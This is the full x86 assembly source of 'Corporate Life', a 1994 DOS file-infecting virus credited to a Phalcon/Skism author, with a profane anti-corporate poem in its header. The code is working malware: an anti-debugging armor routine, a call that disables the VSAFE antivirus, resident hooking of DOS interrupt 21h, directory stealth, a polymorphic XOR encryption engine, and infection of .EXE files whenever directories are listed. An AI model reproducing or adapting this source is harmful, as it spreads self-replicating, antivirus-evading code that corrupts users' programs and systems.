;ษออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออป
;บ            Corporate Life (c) 1994 Stormbringer, Phalcon/Skism         บ
;ฬออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออน
;บ Dreams disipate like fog before the harsh sun -                        บ
;บ Every morning, driving to work through the traffic,                    บ
;บ A number, a cube, a tie.....                                           บ
;บ                                                                        บ
;บ Don't let your dreams die, mes amis,                                   บ
;บ Or you will become just another puppet -                               บ
;บ Led by the strings of money by an ungrateful master.                   บ
;บ                                                                        บ
;บ                       Fuck Corporate Life!                             บ
;ศออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออออผ
;Semi-Polymorphic (quit yo' bitchin Zerial, I woulda fixed it.....)
;Moderately Armored.
;Directory stealth - doesn't affect CHKDSK or similar programs, just dir's.
;Memory Stealth - becomes a part of the last TSR program in memory.
;Infects .EXE files on DIR (FindFile with FCB's) using ONLY FCB calls.
;   (Only infects DOS .EXE files with no overlays)
;Critical Error Handler.

.model tiny
.radix 16
.code
        org 100
start:
        push    es
        push    cs
        pop     ds
        db      2dh dup(90)
EXE_ENTRY:
        jmp     short rotateit
        db      09A
rotateit:
        ror     word ptr cs:[HostCS],1
        jmp     short EntryArmor
        db      0ea                             ;simple annoyance for disasm
;----------------------------
  EntryArmor:
        push    word ptr cs:[Armor1]
        mov     ax,not(00eah)
        push    ax
        mov     bp,sp
        not     word ptr ss:[bp]                ;should lose trace-based
        pop     word ptr cs:[Armor1]            ;analysis, such as f-prot's
  Armor1:                                       ;heuristics and TBCLEAN
        pop     word ptr cs:[Armor1]
        call    recursionshit
;----------------------------
GetDosVersion:  
        mov     ax,3001
        int     21
        cmp     al,6
        ja      BadDos
        cmp     al,3
        jb      BadDos
        jmp     short   DosFine
        db      0ea  
BadDos:  
        jmp     IsActiveInMemory
        db      0ff
  DosFine:
;----------------------------  
  KillVSAFE:
        mov     dx,not(0fa01)
        mov     ax,not(5945)        
        xchg    dx,ax
        push    cs
        not     ax
        not     dx
        int     16              ;Kill vsafe... lame friggin' program anyway
        pop     ds      
;----------------------------
  CheckIfActive:
        mov     ah,09
        mov     dx,offset Credits
        int     21
        jnc     GetInt21Address
        jmp     IsActiveInMemory
;----------------------------        
   GetInt21Address:
        xor     ax,ax
        push    ds ax
        pop     ds
        push    word ptr ds:[84]
        push    word ptr ds:[05*4]
        push    word ptr ds:[86]
        push    word ptr ds:[05*4+2]
        pop     word ptr ds:[03*4+2]
        pop     word ptr cs:[Org21CS]
        pop     word ptr ds:[03*4]
        pop     word ptr cs:[Org21IP]        
        pop     ds
                  
        push    es
;----------------------------   
   AllocTempMem:
        mov     ah,4a
        mov     bx,-1
        call    call21direct

        sub     bx,(end_main-start+1f)/10
        mov     ah,4a
        call    call21direct
        
        mov     bx,(end_main-start+0f)/10
        mov     ah,48
        call    call21direct
        
;----------------------------
   PutVirusInTempMem:
        sub     ax,10
        mov     es,ax
        mov     di,100
        mov     si,di
        mov     cx,(end_main-start)
        repnz   movsb

        push    ds
        mov     ds,cx
        
  SetupProgramTerminate:
        push    ds:[22*4]
        push    ds:[22*4+2]
        mov     ds:[22*4],offset Int22
        mov     ds:[22*4+2],es
        mov     word ptr ds:[6],0fff0
        mov     word ptr ds:[4],0
        pop     ax
        pop     bx
        pop     ds
        mov     es:[IP22],bx
        mov     es:[CS22],ax
        pop     ds
        mov     ds:[0a],offset Int22
        mov     ds:[0c],es
;----------------------------        
IsActiveInMemory:
        pop     es
        push    es
        pop     ds
        mov     ax,es
        add     ax,10
        add     cs:HostCS,ax
        add     ax,cs:HostSS
        cli
        mov     ss,ax
        mov     sp,cs:[HostSP]
        xor     ax,ax
        xor     bx,bx
        xor     cx,cx
        xor     dx,dx
        xor     di,di
        mov     si,100
        sti
        jmp     dword ptr cs:[HostEntry]

HostEntry:
        HostIP  dw      0
        HostCS  dw      0fff0
        HostSS  dw      0fff0
        HostSP  dw      0fffe

Call21Direct:
        pushf
        call    dword ptr cs:[Org21IP]
        ret

        Org21IP dw      0
        Org21CS dw      0
;-----------------------------
recursionshit:
        mov     cx,11
        call    recurseit
        ret
        db      081
recurseit:
        jmp     short bumpshit
        db      0ff
Afterbump:
        dec     cx
        pop     ax bx dx
        jz      exitrecurse
        call    recurseit
  exitrecurse:
        rol     word ptr cs:[HostCS],1
        ret
        db      0cdh
bumpshit:
        mov     bp,sp
        push    ds
        mov     bx,cs
        push    ax
        mov     word ptr [bp-4],0
        pop     ds
        mov     word ptr ds:[3*4],offset afterbump
        mov     word ptr ds:[3*4+2],bx
        pop     ds
        int     3
How_did_ya_get_here:
        loop    How_did_ya_get_here        
        mov     ds,cx
        push    word ptr ds:[46c]
        push    word ptr ds:[46c]
        push    word ptr ds:[46e]
        iret
;-----------------------------
        db      83
Int22:
        mov     ah,52
        call    call21direct
        mov     es,es:[bx-2]
        mov     bx,es
        mov     ax,es:[03]
        mov     cx,es
        add     ax,cx
        inc     ax
        mov     es,ax

   FindMCB:
        mov     ax,es:[03]
        cmp     ax,(end_prog-start+4f)/10
        jb      TooSmall
        cmp     word ptr es:[01],0
        je      FoundOne
        jmp     NExtOne
    TooSmall:
        cmp     word ptr es:[01],0
        jne     NextOne
        jmp     SkipBXMove

     NextOne:
        mov     bx,es
     SkipBXMove:
        mov     cx,es
        add     ax,cx
        inc     ax
        cmp     ax,0f000
        je      NoMem
        cmp     byte ptr es:[0],'M'
        jne     NoMem
        mov     es,ax
        jmp     FindMCB
        db      081
     NoMem:
        jmp     Exit22
        db      0ea
     FoundOne:
        mov     dx,es
        mov     es,bx
        inc     bx
        add     bx,word ptr es:[03]
        push    bx
        mov     ax,es 
        
        push    word ptr es:[01]
        push    es

        inc     ax
        mov     bx,word ptr es:[03]
        mov     word ptr cs:[HostMem],ax
        mov     es,ax
        mov     ah,4a
        add     bx,(end_prog-start+3f)/10
        call    call21direct
        jc      TooSmall

        pop     es
        pop     word ptr es:[01]

        pop     ax
        sub     ax,10
        mov     es,ax
        mov     di,100
        mov     si,di
        push    cs
        pop     ds
        mov     cx,(end_prog-start)
        repnz   movsb
        
        inc     cx
        mov     ds,cx
        push    word ptr ds:[74]
        push    word ptr ds:[76]
        mov     word ptr ds:[74],offset Int21
        mov     word ptr ds:[76],es
        pop     word ptr es:[CS21]
        pop     word ptr es:[IP21]
        call    ActivateSoundBlaster
Exit22:
        db      0ea
IP22    dw      0
CS22    dw      0

        db      0ff
Int21:
        cmp     ah,09
        jne     NotInstallCheck
        xchg    dx,bx
        cmp     word ptr ds:[bx],'B$'
        xchg    dx,bx        
        jne     Exit21
        stc
        retf    2
        
        db      088
   NotInstallCheck:
        push    ax              ;reversed bits on ah
        xor     ah,11           ;0001 0001 ;11 - find first
        jz      FindFile
        xor     ah,3
        jz      FindFile        ;0001 0010 ;12 - find next
        xor     ah,5bh          ;0100 1001 ;49 - dealloc mem
        jz      Dealloc

   ExitTests:        
        pop     ax

   ExitFunctions:
Exit21:
        db      0ea
IP21    dw      0
CS21    dw      0
        
        db      0ea
Dealloc:
        mov     ax,es
        cmp     ax,word ptr cs:[HostMem]
        pop     ax
        jne     Exit21
        iret
        
        db      0ea
GoExitFind:
        jmp     ExitFind

FindFile:
        pop     ax
        call    FakeInt21
        or      al,al
        jnz     GoExitFind

        push    ax bx cx dx es ds si di
        call    SetCritical
        mov     ah,2f
        call    FakeInt21
        push    es bx


        cmp     byte ptr es:[bx],0ff
        jne     ExitCheck
        add     bx,7
  CheckIfEXE:
        cmp     word ptr es:[bx+09],'XE'
        jne     ExitCheck
        cmp     byte ptr es:[bx+0bh],'E'
        jne     ExitCheck
  CheckIfInfected:
        cmp     word ptr es:[bx+19h],0c800
        ja      SubVirSize
 RandomChanceOfInfect:
        call    RandomChance
        jc      SubVirSize
       
 SetupInfectFile:
        push    es bx
        push    cs
        pop     es
        mov     di,offset FCB1
        mov     cx,EndFCB1-FCB1
        xor     ax,ax
        push    di
        repnz   stosb
        pop     di
        pop     si ds
        mov     cx,12d
        repnz   movsb
   OpenFileFCB:        
        mov     ah,0f
        push    cs
        pop     ds
        mov     dx,offset FCB1
        call    FakeInt21
        inc     al        
        jz      SubVirSize              ;Error Occured

        push    es bx
        call    InfectFileFCB
        pop     bx es

   CloseFileFCB:        
        mov     ah,10
        mov     dx,offset FCB1
        call    FakeInt21
  SubVirSize:        
        cmp     word ptr es:[bx+19],0c800
        jb      AfterDirStealth
        sub     word ptr es:[bx+19],0c800
        
        push    bx        
        mov     ah,62
        call    FakeInt21
        mov     ax,cs
        cmp     bx,ax
        pop     bx
        ja      AfterDirStealth
        sub     word ptr es:[bx+1dh],(end_main-start+40)
        sbb     word ptr es:[bx+1f],0
                
  AfterDirStealth:
    ExitCheck:
        pop     dx ds
        mov     ah,1a
        call    fakeint21
        call    ResetCritical
        pop     di si ds es dx cx bx ax
ExitFind:        
        retf    2


        db      0ea
FakeInt21:
        pushf
        call    dword ptr cs:[IP21]
        ret
        
        db      09a
BadFile:
        jmp     ExitInfFCB

        db      0ea
InfectFileFCB:
        push    word ptr [FCBTime]
        push    word ptr [FCBDate]
        
        push    word ptr [FCBFSize]
        push    word ptr [FCBFSize+2]
        pop     word ptr [OrgSize+2]
        pop     word ptr [OrgSize]
        
        call    CheckHeader
        jc      InfectionCheck
        call    SaveValues
        call    ResetHeader
        call    PAdEndOfFile
        jmp     ModTimeInfected

  InfectionCheck:
        jc      ExitInfFCB                      ;was infection successful?

  ModTimeInfected:        
        pop     ax
        add     ax,0c800
        push    ax

    ExitInfFCB:
        pop     word ptr cs:[FCBDate]
        pop     word ptr cs:[FCBTime]
        ret


PadEndOfFile:
        mov     ax,word ptr [OrgSize]
        mov     dx,word ptr [OrgSize+2]
        add     ax,(end_main-start+40)
        adc     dx,0
        mov     word ptr [FCBFSize],ax
        mov     word ptr [FCBFSize+2],dx
        ret
      
RandomChance:
        push    ax ds
        xor     ax,ax
        mov     ds,ax
        mov     ax,ds:[46c]
        shr     ax,1
        pop     ds ax
        ret




ResetHEader:
        mov     ax,word ptr [FCBFsize]
        mov     dx,word ptr [FCBFsize+2]
        and     ax,1ff
        mov     word ptr [EXEHeader+2],ax
        mov     ax,word ptr [FCBFsize]
        jz      NoCarry
        add     ax,1ff
   NoCarry:
        mov     cl,9
        shr     ax,cl
        mov     cl,7
        shl     dx,cl
        add     dx,ax
        mov     word ptr [EXEHeader+4],dx
        add     word ptr [exeheader+0a],(end_main-start+1f)/10
        
        mov     ah,1a
        mov     dx,offset EXEHeader
        call    fakeint21

        mov     dx,offset FCB1
        
        mov     byte ptr [FCBCurRec],0
        mov     word ptr [FCBBlock],0
        mov     word ptr [FCBRecSize],40
        mov     ah,15
        call    fakeInt21
        ret

CheckHEader:
        mov     word ptr [FCBRecSize],40
        mov     ah,1a
        mov     dx,offset EXEHeader
        call    fakeInt21               ;Set DTA for read
        
        mov     ah,14
        mov     dx,offset FCB1          ;read EXEheader
        call    fakeInt21

        mov     ax,word ptr [EXEHeader]
        add     ah,al
        xor     ah,('Z'+'M')
        jnz     BadHeader
        cmp     word ptr [EXEHeader+1a],0
        jnz     BadHEader
        cmp     word ptr [EXEHeader+18],40
        jae     BadHeader
        cmp     word ptr [FCBFSize+2],4
        ja      BadHeader

        clc
        ret
BadHeader:
        stc
        ret
        

SaveValues:
        push    word ptr [EXEHeader+0e]
        mov     ax,word ptr [FCBFsize]
        push    word ptr [EXEHeader+10]
        mov     dx,word ptr [FCBFsize+2]
        push    word ptr [EXEHEader+14]
        mov     cl,4
        mov     bx,word ptr [EXEHeader+08]
        shl     bx,cl
        sub     ax,bx
        sbb     dx,0
        push    word ptr [EXEHEader+16]
        shr     ax,cl
        pop     word ptr [HostCS]
        adc     ax,0
        pop     word ptr [HostIP]
        mov     bx,ax
        pop     word ptr [HostSP]
        shl     ax,cl
        pop     word ptr [HostSS]
        adc     dx,0
        mov     cl,0c
        shl     dx,cl
        add     bx,dx
        sub     bx,0f
        mov     word ptr [EXEHeader+16],bx
        mov     word ptr [EXEHeader+14],100
        add     bx,0f0
        mov     word ptr [EXEHeader+0e],bx
        mov     word ptr [EXEHeader+10],2fe
        
        
        mov     ax,word ptr [FCBFsize]
        mov     dx,word ptr [FCBFsize+2]
        mov     cl,4
        shr     ax,cl
        adc     ax,0

        mov     ch,dl
        mov     cl,4
        shr     dx,cl
        shl     ch,cl
        add     ah,ch
        adc     dx,0

        inc     ax
        adc     dx,0
        mov     word ptr [FCBRanRec],ax
        mov     word ptr [FCBRanRec+2],dx
        mov     word ptr [FCBRecSize],10

        push    cx bx dx si di
        call    Mutate
        pop     di si dx bx cx

        mov     dx,offset DecryptBuffer

AppendLoop:
        mov     ah,1a
        call    fakeint21
        push    dx
        mov     ah,22
        mov     dx,offset FCB1
        call    fakeint21
        pop     dx
        call    updateRecAndDX
        cmp     dx,offset end_prog
        jb      AppendLoop
        ret


UpdateRecAndDX:        
        add     dx,10
        add     word ptr [FCBRanRec],1
        adc     word ptr [FCBRanRec+2],0
        ret


SetCritical:
        push    ax ds
        mov     ax,9
        mov     ds,ax
        push    word ptr ds:[0]
        push    word ptr ds:[2]
        pop     word ptr cs:[OldCritical+2]
        pop     word ptr cs:[OldCritical]
        mov     word ptr ds:[0],offset CriticalError
        push    cs
        pop     word ptr ds:[02]
        pop     ds ax
        ret
        
ResetCritical:
        push    ax ds
        push    word ptr cs:[OldCritical]
        mov     ax,9
        push    word ptr cs:[OldCritical+2]
        mov     ds,ax
        pop     word ptr ds:[2]
        pop     word ptr ds:[0]
        pop     ds ax
        ret


CriticalError:
        mov     al,3
        iret

OldCritical     dd      0
HostMem         dw      0
Credits:
db      '$B -=[$$$ Corporate Life $$$]=- P$'
EndCredits:

OrgSize         dd      0
FCB1:
        FCBDrive        db      0
        FCBFName        db      8 dup(0)
        FCBExt          db      3 dup(0)
        FCBBlock        dw      0
        FCBRecSize      dw      0
        FCBFSize        dd      0
        FCBDate         dw      0
        FCBTime         dw      0
        FCBReserved     db      8 dup(0)
        FCBCurRec       db      0
        FCBRanRec       dd      0
EndFCB1:
EXEHeader       db      40 dup(0)

;-----------------]> Activation routine - talks if sound blaster speech drv'r
ActivateSoundBlaster:
  CheckIfSBSpeechEnabled:
        push    ax bx es ds si di
        xor     ax,ax
        mov     es,ax
        mov     ax,0fbfbh
        int     2f
        mov     ax,es
        or      ax,ax
        jz      notinstalled
        cmp     word ptr es:[bx],'BF'
        jne     notinstalled
 SayFuckCorporateLife:
        mov     ax,0707
        mov     si,offset speechbuf
        mov     di,20
        add     di,bx
        mov     cx,(endmess-speechbuf)
        push    cs
        pop     ds
        repnz   movsb
        call    dword ptr es:[bx+4]
NotInstalled:
        pop     di si ds es bx ax
        ret

speechbuf:
        db      (endmess-message)
message db      'Fuck Corporat Life.',0a,0dh
endmess:
;-----------------]> Simple friggin' mutation engine, but quite small....
Mutate: 
        push    cs cs
        pop     es ds
        mov     cx,(end_main-EXE_Entry)
        call    InitRand
    SetupCounter:
        mov     word ptr [SetCounter+1],cx
    PreProcessCode:
        mov     di,offset NewCodeBuffer
        mov     si,offset EXE_Entry
        repnz   movsb
        
    SelectCounterAndPointer:
        call    GetRand
        and     ax,707
        cmp     al,4
        je      SelectCounterAndPointer
        cmp     ah,3
        je      RegsValid
        cmp     ah,6
        je      RegsValid
        cmp     ah,7
        je      RegsValid
        jmp     short SelectCounterAndPointer
    RegsValid:
        cmp     ah,al
        je      SelectCounterAndPointer
    FindAddressingReg:
        push    ax
        cmp     ah,3
        jne     Is_SI_or_DI
        xor     ah,4
        jmp     GotAddrReg
     Is_SI_Or_DI:
        xor     ah,2
     GotAddrReg:
        mov     dh,ah                   ;DH now holds addressing reg value
     GetRandomXorKey:        
        call    GetRand
        mov     byte ptr [XorByte+2],al
        pop     ax
     SetNewRegs:
        and     byte ptr [XorByte+1],11111000b
        and     byte ptr [SetCounter],11111000b
        and     byte ptr [DecCounter],11111000b
        and     byte ptr [SetPointer],11111000b
        and     byte ptr [IncPointer],11111000b
        or      byte ptr [SetCounter],al
        or      byte ptr [DecCounter],al
        or      byte ptr [SetPointer],ah
        or      byte ptr [IncPointer],ah
        or      byte ptr [Xorbyte+1],dh
        mov     dx,ax
   SetupDummy:
        call    GetRand
        and     ax,707
        cmp     al,4
        je      SetupDummy
        cmp     al,dh
        je      SetupDummy
        cmp     al,dl
        je      SetupDummy
        mov     ah,al
        and     word ptr [OneByte],1111100011111000b
        or      word ptr [Onebyte],ax
  EncryptCode:
        mov     word ptr [SetPointer+1],offset NewCodeBuffer
        call    SetCounter
        mov     word ptr [SetPointer+1],offset EXE_Entry
  SetupDecrypt:        
        mov     si,offset EncryptionPrototype
        mov     di,offset DecryptBuffer
        call    MakeOneBytes
        call    OneByteInst
        call    OneByteInst
        call    OneByteInst
        call    ThreeByteInst
        call    ThreeByteInst
        mov     bx,di
        call    ThreeByteInst
        call    OneByteInst
        movsw
        mov     ax,di
        sub     ax,bx
        not     al
        stosb
   FillBuffer:
        mov     cx,offset NewCodeBuffer
        sub     cx,di
        call    MakeAByte
        ret

  ThreeByteInst:
        movsw
   OneByteInst:        
        movsb
        call    MakeOneBytes
        ret

MakeOneBytes:
        push    bx cx
        call    GetRand
        and     ax,3
        inc     ax
        mov     cx,ax
        call    MakeAByte
        pop     cx bx
        ret
   
   MakeAByte:
        call    GetRand
        and     ax,3
        mov     bx,ax
        add     bx,offset OneByte
        mov     al,byte ptr [bx]
        stosb
        loop    MakeAByte
        ret

InitRand:
        push    ds
        xor     ax,ax
        mov     ds,ax
        mov     ax,word ptr ds:[46c]
        pop     ds
        mov     word ptr cs:[RandKey],ax
        ret

GetRand:
        push    cx dx
        mov     ax,word ptr cs:[RandKey]
        mov     cx,4791
        mul     cx
        mov     cx,dx
        ror     ax,cl
        add     ax,9174
        mov     word ptr cs:[Randkey],ax
        pop     dx cx
        ret

RandKey dw      0

EncryptionPrototype:
  SaveSeg:
        push    es
  SetCurSeg:
        push    cs
        pop     ds
  SetCounter:
        mov     bx,0ffff
  SetPointer:
        mov     si,0ffff
  XorByte:
        xor     byte ptr [si],0ff
  IncPointer:
        inc     si
  DecCounter:
        dec     bx
  LoopMod:
        jnz     XorByte
ExitPrototype:
        ret

DummyInstructions:
  OneByte:
        inc     cx
        dec     cx
        nop
        sti
end_mut:
end_main:
DecryptBuffer   db      30 dup(?)
NewCodeBuffer   db      (end_main-EXE_Entry) dup (?)
end_prog:
end start
